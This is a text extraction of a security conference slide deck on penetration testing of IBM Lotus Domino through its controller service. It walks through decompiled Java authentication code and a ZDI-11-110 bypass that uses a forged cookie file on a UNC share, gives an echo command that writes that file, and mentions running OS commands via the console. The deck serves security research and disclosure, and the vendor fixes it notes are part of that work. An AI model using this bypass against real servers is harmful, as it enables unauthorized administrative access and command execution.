SlideShare ist ein Scribd-Unternehmen logo
1 von 44
Downloaden Sie, um offline zu lesen
Invest	
  in	
  security	
  
to	
  secure	
  investments	
  



 Lotus	
  Domino:	
  
 Penetra0on	
  
 Through	
  the	
  
 Controller	
  
 	
  
 Alexey	
  Sintsov	
  
#whoami	
  


  •  Pen-­‐tester	
  at	
  ERPscan	
  Company	
  
                                                Job	
  ,	
  
                                              money	
  and	
  
                                                 fun	
  
  •  Researcher	
  
                                                      Fun	
  

  •  Writer	
  at	
  ][akep	
  magazine	
  
                                                 Self-­‐
                                              importance	
  
  •  DCG#7812	
  POC	
                          and	
  fun	
  	
  


                                              Community	
  
                                                and	
  fun	
  


erpscan.com	
              ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     2	
  
ERPScan	
  


 •  Innova've	
  company	
  engaged	
  in	
  ERP	
  security	
  R&D	
  
 •  Part	
  of	
  “Digital	
  Security”,	
  a	
  Russian	
  group	
  of	
  
    companies	
  founded	
  in	
  2002	
  
 •  Flagship	
  product	
  –	
  ERPScan	
  Security	
  Scanner	
  for	
  
    SAP	
  
 •  Tools:	
  pen-­‐tes'ng	
  tool,	
  sapsploit,	
  web.xml	
  scanner	
  
 •  Consul'ng	
  Services:	
  	
  ERP/SRM/CRM/SCADA/e.t.c	
  
    Pen-­‐tests,	
  SAP	
  assessment,	
  SAP	
  code	
  review	
  


erpscan.com	
         ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     3	
  
What	
  do	
  pen-­‐testers	
  do?	
  

 •     Scanning	
  
 •     Fingerprin'ng	
  
 •     Banner	
  grabbing	
  
 •     Play	
  with	
  passwords	
  
 •     Find	
  vulns.	
  
 •     Exploit	
  vulns.	
  
 •     Escalate	
  privs.	
  
 •     Dig	
  in	
  
 •     Find	
  ways	
  to	
  make	
  aQacks	
  
 •     And	
  e.t.c.	
  

erpscan.com	
             ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     4	
  
Find	
  vulns.	
  

 •  Sta'c	
  
         –  Source	
  code	
  review	
  
                  •  regexp	
  
                  •  formal	
  methods	
  
                  •  hand	
  tes'ng	
  
         –  Reverse	
  Engineering	
  
                  •  formal	
  methods	
  
                  •  hands…	
  
 •  Dynamic	
  
         –  Fuzzing	
  (bin/web)	
  
             	
  +	
  	
  Typical	
  bugs	
  for	
  class	
  	
  
             	
  +	
  	
  Reverse	
  Engineering	
  
         –  Hand	
  tes'ng	
  
 •  Architecture	
  Analysis	
  (Logic	
  flaws)	
  
 •  Use	
  vuln.	
  Database	
  (CVE/exploit-­‐db/etc)	
  


erpscan.com	
                                ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     5	
  
Pen-­‐tester	
  env.	
  


 Tasks:	
  
             •  pwn	
  target	
  8)	
  
             •  show	
  most	
  dang.	
  vulns.	
  
             è	
  show	
  real	
  aQacks	
  and	
  what	
  an	
  aQacker	
  can	
  do	
  


 Time:	
  
                	
  Not	
  much	
  )	
  
 Targets:	
  
                	
  Large	
  number	
  of	
  targets,	
  different	
  types	
  
 	
  
erpscan.com	
                  ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     6	
  
Find	
  vulns.	
  

 •  Sta'c	
  
         –  Source	
  code	
  review	
  
                  •  regexp	
  
                  •  formal	
  methods	
                       •  BlackBox	
  
                  •  hand	
  tes'ng	
  
         –  Reverse	
  Engineering	
  
                  •  formal	
  methods	
                       •  Not	
  much	
  'me	
  
                  •  hands…	
  
 •  Dynamic	
  
         –  Fuzzing	
  (bin/web)	
  
             	
  +	
  	
  Typical	
  bugs	
  for	
  class	
  	
  
             	
  +	
  	
  Reverse	
  Engineering	
  
         –  Hand	
  tes'ng	
  
 •  Architecture	
  Analysis	
  (Logic	
  flaws)	
  
 •  Use	
  vuln.	
  Database	
  (CVE/exploit-­‐db/etc)	
  


erpscan.com	
                                ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     7	
  
Bug	
  hun0ng?	
  


 	
  	
  




erpscan.com	
     ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     8	
  
Pen-­‐tester/Sec.	
  researcher	
  


         	
  

         –  New	
  aQacks	
  and	
  methods	
  
                                                                                                          Provider	
  
         –  0-­‐day	
  bug	
  hun'ng	
  
         –  Something	
  new…	
  

         –  	
  Exploit	
  development	
  

         –  	
  Exploita'on	
  
                                                                                                          Consumer	
  
         	
  
erpscan.com	
               ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                    9	
  
Exploit’s	
  life	
  

         	
  
         	
  


Finding	
  bug	
  
Crea'ng	
  PoC	
  




                     Crea'ng	
  exploit	
  
                     Selling	
  

                                                                                             Exploi'ng	
  
                                                                                             Crea'ng	
  report	
  

erpscan.com	
                       ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
        10	
  
In	
  real	
  


         	
  
         	
  

                                                                                               Exploi'ng?	
  No!	
  
                                                                                               Crea'ng	
  report	
  
Finding	
  bug	
  
Crea'ng	
  PoC	
  


                     Crea'ng	
  exploit	
  
                     Selling	
                                                                 Exploi'ng?	
  Yep!	
  
                                                                                               Crash…	
  
                                                                                               Crea'ng	
  report?	
  



erpscan.com	
                         ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
         11	
  
Target…	
  


 	
  	
  




erpscan.com	
     ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     12	
  
Let’s	
  see	
  some	
  real	
  stuff	
  

 First	
  pen-­‐test	
  	
   	
                      	
                 	
  -­‐	
  	
         	
  Lotus	
  Domino	
  8.5.2FP2	
  
 Second	
  pen-­‐test                                	
                 	
  -­‐               	
  Lotus	
  Domino	
  8.5.3	
  	
  (the	
  latest)	
  
 	
  
                                                                                                                        Pen-­‐tester’s	
  ac'ons	
  
 How	
  to:	
  
 Nmap	
  –sV	
  -­‐PN	
  -­‐T5	
  -­‐p	
  …	
  0	
  192.168.0.13	
  
 .	
  .	
  .	
                                                                                                             •  Scan	
  and	
  grab	
  banners	
  
 Nmap	
  scan	
  report	
  for	
  targethost	
  (192.168.0.13)	
                                                           •  Detect	
  version	
  
 PORT	
  	
  	
  	
  	
  STATE	
  SERVICE	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  VERSION	
  
 110/tcp	
  	
  	
  open	
  	
  pop3	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Lotus	
  Domino	
  POP3	
  server	
  8.5.2	
  
 1352/tcp	
  	
  open	
  	
  lotusnotes	
  	
  	
  	
  	
  	
  	
  	
  Lotus	
  Domino	
  server	
  (CN=SERV;Org=Company)	
  
 1533/tcp	
  	
  open	
  	
  hNp	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Lotus	
  Domino	
  hNpd	
  
 2050/tcp	
  open	
  	
  ssl/dominoconsole	
  Lotus	
  Domino	
  Console	
  (domain:	
  domain;	
  d	
  
 escrip?on:	
  “COMPANY")	
  
 49152/tcp	
  	
  open	
  	
  hNp	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  MicrosoS	
  HTTP	
  API	
  2.0	
  
 MAC	
  Address:	
  00:1A:1B:8A:1F:1E	
  (HewleN	
  Packard)	
  
 Service	
  Info:	
  OS:	
  Windows/Longhorn/64	
  6.1	
  
 	
  
erpscan.com	
                                  ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                                           13	
  
Lotus	
  Domino	
  8.5.2FP2	
  

                                                                        Useless	
  
         •    CVE-­‐2011-­‐0914	
  
         •    CVE-­‐2011-­‐0915	
  
                                                                        Useless,	
  
                                                                                                        Pen-­‐tester’s	
  ac'ons	
  
         •    CVE-­‐2011-­‐0916	
                                       (client-­‐
                                                                          side)	
  
         •    CVE-­‐2011-­‐0917	
                                       Useless,	
                  •  Search	
  for	
  an	
  exploit	
  
         •    CVE-­‐2011-­‐0919	
                                       Fixed	
  in	
  
                                                                        8.5.2…	
  
         •    CVE-­‐2011-­‐0920	
  




erpscan.com	
                  ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                                    14	
  
Lotus	
  Domino	
  8.5.2FP2	
  

                                                                           •  Private	
  
            •    CVE-­‐2011-­‐0914	
                                       •  DoS	
  risk	
  
            •    CVE-­‐2011-­‐0915	
  
                                                                           •  Private	
  
                                                                                                                  Pen-­‐tester’s	
  ac'ons	
  
            •    CVE-­‐2011-­‐0916	
                                       •  DoS	
  risk	
  
            •    CVE-­‐2011-­‐0917	
  
                                                                           •  None	
                          •  …	
  more	
  search	
  
            •    CVE-­‐2011-­‐0919	
                                       •  DoS	
  risk	
  
            •    CVE-­‐2011-­‐0920	
  
                                                                           •  PoC	
  
  	
                                                                       •  DoS	
  risk	
  
                                                                                                              Lotus…	
  blah-­‐blah-­‐blah,	
  
         Auth.	
  issue	
  (CWE-­‐287)	
  
                                                                           •  None	
                          has	
  many	
  vuln.	
  issues.	
  
                                                                           •  DoS	
  risk	
                   Not	
  public	
  or	
  stable,	
  
                                                                                                              exploit	
  are	
  available	
  …	
  
Buffer	
  Errors	
  (CWE-­‐119)	
                                                                              blah-­‐blah-­‐blah,	
  please	
  
                                                                           •  Private	
                       update	
  to	
  8.5.2FP3	
  or	
  
                                                                                                              8.5.3	
  
erpscan.com	
                            ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                                   15	
  
No	
  fun…	
  

 •  No	
  fun…	
  
 •  Lotus	
  server	
  s'll	
  not	
  pwned	
  (just	
  in	
  theory)	
  
 •  If	
  we	
  could	
  	
  pwn	
  it,	
  then	
  maybe	
  we	
  would	
  get	
  MORE	
  
 -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐	
  BUT	
  -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐	
  
 •  We	
  have	
  no	
  'me	
  for	
  research	
  and	
  exploit	
  dev.	
  for	
  those	
  
           bugs	
  (CWE-­‐119)	
  
 •  It	
  is	
  risky	
  
 •  It	
  is	
  pen-­‐test	
  and	
  we	
  have	
  other	
  targets…	
  
 -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐	
  SO	
  -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐	
  
 Pen-­‐tester	
  is	
  not	
  a	
  researcher?	
  Forget	
  about	
  it?	
  
 	
  
erpscan.com	
                                          ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                                                             16	
  
What	
  do	
  pen-­‐testers	
  do?	
  

 •     Scanning	
  
 •     Fingerprin'ng	
  
 •     Banner	
  grabbing	
  
 •     Play	
  with	
  passwords	
                                                                              We	
  can’t	
  do	
  	
  
                                                                                                                that	
  right	
  now	
  
 •     Find	
  vulns.	
              Analysis:	
  'me	
  for	
  research	
  	
  
                                     and	
  exploit	
  dev.,	
  resources,	
  	
  
 •     Exploit	
  vulns.	
           risks,	
  necessity	
  	
  	
  
 •     Escalate	
  privs.	
                                                                                        Research	
  

 •     Dig	
  in	
                                 Exploit	
  dev.	
  

 •     Find	
  ways	
  to	
  make	
  aQacks	
  
 •     And	
  e.t.c.	
  

erpscan.com	
                     ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                                 17	
  
Lotus	
  Domino	
  8.5.2FP2	
  

                                                                 •  Time…	
  
         •    CVE-­‐2011-­‐0914	
                                •  DoS	
  risk	
  
         •    CVE-­‐2011-­‐0915	
  
                                                                 •  Time	
  
                                                                                                        Pen-­‐tester’s	
  ac'ons	
  
         •    CVE-­‐2011-­‐0916	
                                •  DoS	
  risk	
  
         •    CVE-­‐2011-­‐0917	
                                                                   •  Let’s	
  do	
  some	
  
                                                                 •  Time	
                          •  Fast	
  analyses…	
  
                                                                                                       research…	
  
         •    CVE-­‐2011-­‐0919	
                                •  DoS	
  risk	
  
         •    CVE-­‐2011-­‐0920	
  
                                                                 •  Time	
  
  	
                                                             •  DoS	
  risk	
  

                                                                 •  Time	
  
                                                                 •  DoS	
  risk	
  


                                                                 •  ???	
  

erpscan.com	
                  ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                               18	
  
ZDI-­‐11-­‐110	
  


 	
  	
  




erpscan.com	
     ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     19	
  
What	
  is	
  the	
  protocol?	
  

 •  Googling	
  failed	
  
 •  But…	
  Patrik’s	
  NSE	
  scripts	
  can	
  help:	
  
                     socket:reconnect_ssl()	
  
                     …	
  
                     socket:send("#APIn")             	
  	
  
                     socket:send(	
  ("#UI	
  %s,%sn"):format(user,pass)	
  )                                                                                   	
  	
  
                     socket:receive_lines(1)           	
  	
  
                     socket:send("#EXITn")	
  
                     …	
  
 è 	
  SSL	
  
               	
  #UI	
  login,passn	
  
 -­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐	
  	
  
 •  But	
  what	
  about	
  COOKIE?	
  
 	
  
 Service	
  code	
  is	
  in	
  dconsole.jar,	
  so	
  we	
  can	
  decompile	
  it	
  and	
  get	
  protocol	
  
 descrip'ons…	
  
 	
  
 	
  
erpscan.com	
                                                 ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                                                                            20	
  
Domino	
  Controller	
  

                  //	
  s1	
  -­‐	
  input	
  from	
  2050/tcp	
  
                  if(s1.equals("#EXIT"))	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  return	
  2;	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  .	
  .	
  . 	
                                         	
                	
  	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  if(s1.equals("#APPLET"))	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  return	
  6;	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  .	
  .	
  .	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  if(s1.equals("#COOKIEFILE"))	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  if(stringtokenizer.hasMoreTokens())	
  
                                                                   	
  	
  	
  	
  	
  //	
  Fromat:	
  #COOKIEFILE	
  cookieFilename	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  cookieFilename	
  =	
  stringtokenizer.nextToken().trim();	
  	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  return	
  7;	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  .	
  .	
  .	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  if(s1.equals("#UI"))	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  if(stringtokenizer.hasMoreTokens())	
  
                                                                   	
  	
  	
  	
  	
  //	
  Format:	
  #UI	
  usr,pwd	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  usr	
  =	
  stringtokenizer.nextToken(",").trim();	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  if(usr	
  ==	
  null)	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  return	
  4;	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  if(stringtokenizer.hasMoreTokens())	
  
                                                                   	
  	
  	
  	
  	
  //pwd	
  -­‐	
  password	
  from	
  input	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  pwd	
  =	
  stringtokenizer.nextToken().trim();	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  return	
  0;	
  



erpscan.com	
           ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                                           21	
  
Domino	
  Controller	
  

                      	
  	
  do	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
                      	
  	
  	
  	
  	
  	
  	
  	
  {	
  
                             	
  	
  	
  	
  	
  //main	
  loop	
  
                             	
  	
  	
  	
  	
  int	
  i	
  =	
  ReadFromUser();	
  	
  
                      	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  .	
  .	
  .	
  
                      	
  
                      	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  if(i	
  ==	
  6)	
  //if	
  #APPLET	
  
                      	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  {	
  
                      	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  appletConnec0on	
  =	
  true;	
  
                      	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  con'nue;	
  
                      	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  }	
  
                      	
  
                      	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  .	
  .	
  .	
  
                             	
  	
  	
  	
  	
  	
  	
  	
  	
  //	
  CUT	
  -­‐	
  search	
  usr	
  in	
  admindata.xml	
  
                      	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  .	
  .	
  .	
  	
  
                      	
  
                      	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  if(userinfo	
  ==	
  null)	
  
                      	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  {	
  
                             	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  //	
  If	
  username	
  	
  was	
  not	
  found	
  
                      	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  WriteToUser("NOT_REG_ADMIN");	
  
                      	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  con'nue;	
  
                      	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  }	
  
 	
  
erpscan.com	
     ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                                                    22	
  
Domino	
  Controller	
  

                                                                                                                          	
  	
  	
  .	
  .	
  .	
  
                                                                                                                          	
  
                                                                                                                  if(!appletConnec0on)	
  	
  
                                                                                                                               	
  flag	
  =	
  vrfyPwd.verifyUserPassword(pwd,	
  userinfo.userPWD())	
  
                                                                                                                  else	
   	
                         	
     	
  	
  
                                                                                                                          	
  	
  flag	
  =	
  verifyAppletUserCookie(usr,	
  pwd);	
  //If	
  #APPLET	
  
                                                                                                                  }	
  
                                       	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
                                                                                                                  if(flag)	
  	
  
                                                                                                                          	
  	
  	
  WriteToUser("VALID_USER");	
  
              	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  else	
  	
  
                                                                                       	
  	
  	
  WriteToUser("WRONG_PASSWORD");	
  
                                                                        }	
  while(true);	
  //Main	
  loop	
  end	
  
                                                                                       	
  
                                       	
  	
  	
  	
  	
  	
  	
  	
  if(flag)	
  	
  
                                       	
  	
  	
  	
  	
  	
  	
  	
  {	
  
                                       	
  	
  	
  	
  	
  	
  	
   	
  //Auth	
  done…	
  
                                                                                       .	
  .	
  .	
  
                                                                                       	
  

erpscan.com	
                                                                                           ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                           23	
  
verifyAppletUserCookie()	
  


 	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
                                                                                                                                                                                              UNC	
  path	
  
                                                                                                                                                                                                                                                                              here…	
  
 	
  
 	
  
                                                                                            	
                                   File	
  file	
  =	
  new	
  File(cookieFilename);	
  	
  
                                                                                                                             	
  .	
  .	
  .	
  	
  
                                                                                            	
                               	
  inputstreamreader	
  =	
  new	
  InputStreamReader(new	
                                                                                                            	
         	
  
                                                                                                                             	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  FileInputStream(file),	
  "UTF8");	
  	
  	
  	
  	
  	
  	
     	
  	
  
                                                                                                                             	
  	
  .	
  .	
  .	
  
                                                                                            	
  	
  	
  	
  	
  	
  	
  	
   	
  inputstreamreader.read(ac,	
  0,	
  i);	
  
                                                                                            	
  	
  	
  	
  	
  	
  	
  	
   	
  .	
  .	
  .	
  
                                                                                                                             	
  String	
  s7	
  =	
  new	
  String(ac);	
  	
  
                                                                                                                             	
  .	
  .	
  .	
  
                                                                              	
     	
  


erpscan.com	
                                                                                        ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                                                                                                                                         24	
  
verifyAppletUserCookie()	
  

                  	
  do	
  {	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  if((j	
  =	
  s7.indexOf("<user	
  ",	
  j))	
  <=	
  0)	
  	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
                               	
  break;	
  
                  	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  int	
  k	
  =	
  s7.indexOf(">",	
  j);	
  	
  	
  	
  	
  	
  	
  	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  if(k	
  ==	
  -­‐1)	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  break;	
  
                  	
  
                                                                                  String	
  s2	
  =	
  getStringToken(s7,	
  "user="",	
  """,	
  j,	
  k);	
  
                                                                                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  .	
  .	
  .	
  
                                                                                  String	
  s3	
  =	
  getStringToken(s7,	
  "cookie="",	
  """,	
  j,	
  k);	
  
                                                                                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  .	
  .	
  .	
  
                                                                                                                                                                       b00m!	
  
                                                                                  String	
  s4	
  =	
  getStringToken(s7,	
  "address="",	
  """,	
  j,	
  k);	
  
                                                                                      	
  .	
  .	
  .	
  
                                                                                  	
  if(usr.equalsIgnoreCase(s2)	
  &&	
  pwd.equalsIgnoreCase(s3)	
  &&	
  
                                                                                      	
  	
  	
  	
  appletUserAddress.equalsIgnoreCase(s4))	
  
                                                                                  	
  {	
  
                                                                                  	
  	
  	
  	
  	
  flag	
  =	
  true;	
  
                                                                                  	
  	
  	
  	
  	
  break;	
  
                                                                                  	
  }	
  
                                                                                  	
  	
  .	
  .	
  .	
  
                        	
  	
  	
  	
  	
  }	
  while(true);	
  
                                                                                      	
  .	
  .	
  .	
  




erpscan.com	
             ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                                                                                25	
  
Exploit	
  for	
  ZDI-­‐11-­‐110	
  

 –  echo	
  ^	
  <user	
  name=“admin"	
  cookie=“dsecrg"	
  address=“10.10.0.1"^>	
  >	
  n:
 domino2zdi0day_.txt	
  	
  




erpscan.com	
                      ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     26	
  
Mi0ga0ons…	
  


 •  	
  Privileges	
  for	
  system	
  console	
  
         –  If	
  ‘admin’	
  has	
  enough	
  privileges,	
  he	
  can	
  call	
  OS	
  
            commands	
  as	
  ‘$whoami’	
  
 •  	
  Service	
  password	
  for	
  dangerous	
  func'ons	
  
         –  	
  If	
  service	
  password	
  is	
  not	
  set,	
  then	
  ‘admin’	
  can	
  call	
  
            dangerous	
  func'ons	
  such	
  as	
  ‘LOAD	
  cmd.exe	
  /c	
  net	
  
            use	
  …’	
  

                             One	
  doesn't	
  exclude	
  another!	
  

erpscan.com	
                  ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     27	
  
Pen-­‐tester	
  vs.	
  mi0ga0ons…	
  


 •  If	
  there	
  is	
  a	
  Microso~	
  AD	
  network	
  
 •  If	
  	
  Kerberos	
  is	
  not	
  used	
  
 •  If	
  Lotus	
  Domino	
  runs	
  as	
  “win_domain/$LotusAcc”	
  




erpscan.com	
         ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     28	
  
Lotus	
  Domino	
  8.5.3/8.5.2FP3	
  


                                                 	
  Fix	
  №1	
  

                  evilhostexploitcookie.xml	
  -­‐-­‐>	
  
                  .evilhostexploitcookie.xml	
  




erpscan.com	
             ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     29	
  
Lotus	
  Domino	
  8.5.3/8.5.2FP3	
  


                                         	
  Fix	
  №2	
  

                     We	
  need	
  client’s	
  cert.	
  for	
  
                     auth…	
  




erpscan.com	
     ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     30	
  
Let’s	
  see	
  some	
  real	
  stuff	
  

 First	
  pen-­‐test	
  	
   	
                      	
                 	
  -­‐	
  	
         	
  Lotus	
  Domino	
  8.5.2FP2	
  
 Second	
  pen-­‐test                                	
                 	
  -­‐               	
  Lotus	
  Domino	
  8.5.3	
  	
  (the	
  latest)	
  
 	
  
                                                                                                                        Pen-­‐tester’s	
  ac'ons	
  
 How	
  to:	
  
 Nmap	
  –sV	
  -­‐PN	
  -­‐T5	
  -­‐p	
  …	
  0	
  192.168.0.13	
  
                                                                                                                           •  Scan	
  and	
  grab	
  banners	
  
 .	
  .	
  .	
                                                                                                             •  OR…	
  ersion	
  
                                                                                                                           •  Green	
  line	
  in	
  report?	
  
                                                                                                                           •  Detect	
  v
 Nmap	
  scan	
  report	
  for	
  targethost	
  (192.168.0.13)	
  
 PORT	
  	
  	
  	
  	
  STATE	
  SERVICE	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  VERSION	
  
 110/tcp	
  	
  	
  open	
  	
  pop3	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Lotus	
  Domino	
  POP3	
  server	
  8.5.3	
  
 1352/tcp	
  	
  open	
  	
  lotusnotes	
  	
  	
  	
  	
  	
  	
  	
  Lotus	
  Domino	
  server	
  (CN=SERV;Org=Company)	
  
 1533/tcp	
  	
  open	
  	
  hNp	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Lotus	
  Domino	
  hNpd	
  
 2050/tcp	
  open	
  	
  ssl/unknown	
  	
  
 49152/tcp	
  	
  open	
  	
  hNp	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  MicrosoS	
  HTTP	
  API	
  2.0	
  
 MAC	
  Address:	
  00:1A:1B:8A:1F:1E	
  (HewleN	
  Packard)	
  
 Service	
  Info:	
  OS:	
  Windows/Longhorn/64	
  6.1	
  
 	
  

erpscan.com	
                                  ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                                           31	
  
And	
  again…	
  verifyAppletUserCookie()	
  

                  	
  do	
  {	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  if((j	
  =	
  s7.indexOf("<user	
  ",	
  j))	
  <=	
  0)	
  	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
                               	
  break;	
  
                  	
  
                                                                                                                                                …	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  int	
  k	
  =	
  s7.indexOf(">",	
  j);	
  	
  	
  	
  	
  	
  	
  	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  if(k	
  ==	
  -­‐1)	
                                                 s7.substring()	
  
                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  break;	
  
                  	
  
                                                                                                                                                …	
  
                                                                                  String	
  s2	
  =	
  getStringToken(s7,	
  "user="",	
  """,	
  j,	
  k);	
  
                                                                                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  .	
  .	
  .	
  
                                                                                  String	
  s3	
  =	
  getStringToken(s7,	
  "cookie="",	
  """,	
  j,	
  k);	
  
                                                                                  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  .	
  .	
  .	
  
                                                         HandMade	
  XML	
        String	
  s4	
  =	
  getStringToken(s7,	
  "address="",	
  """,	
  j,	
  k);	
  
                                                         “parser”…	
  on	
  Java…	
   	
  .	
  .	
  .	
  
                                                                                  	
  if(usr.equalsIgnoreCase(s2)	
  &&	
  pwd.equalsIgnoreCase(s3)	
  &&	
  
                                                                                      	
  	
  	
  	
  appletUserAddress.equalsIgnoreCase(s4))	
  
                                                                                  	
  {	
  
                                                                                  	
  	
  	
  	
  	
  flag	
  =	
  true;	
  
                                                                                  	
  	
  	
  	
  	
  break;	
  
                                                                                  	
  }	
  
                                                                                  	
  	
  .	
  .	
  .	
  
                        	
  	
  	
  	
  	
  }	
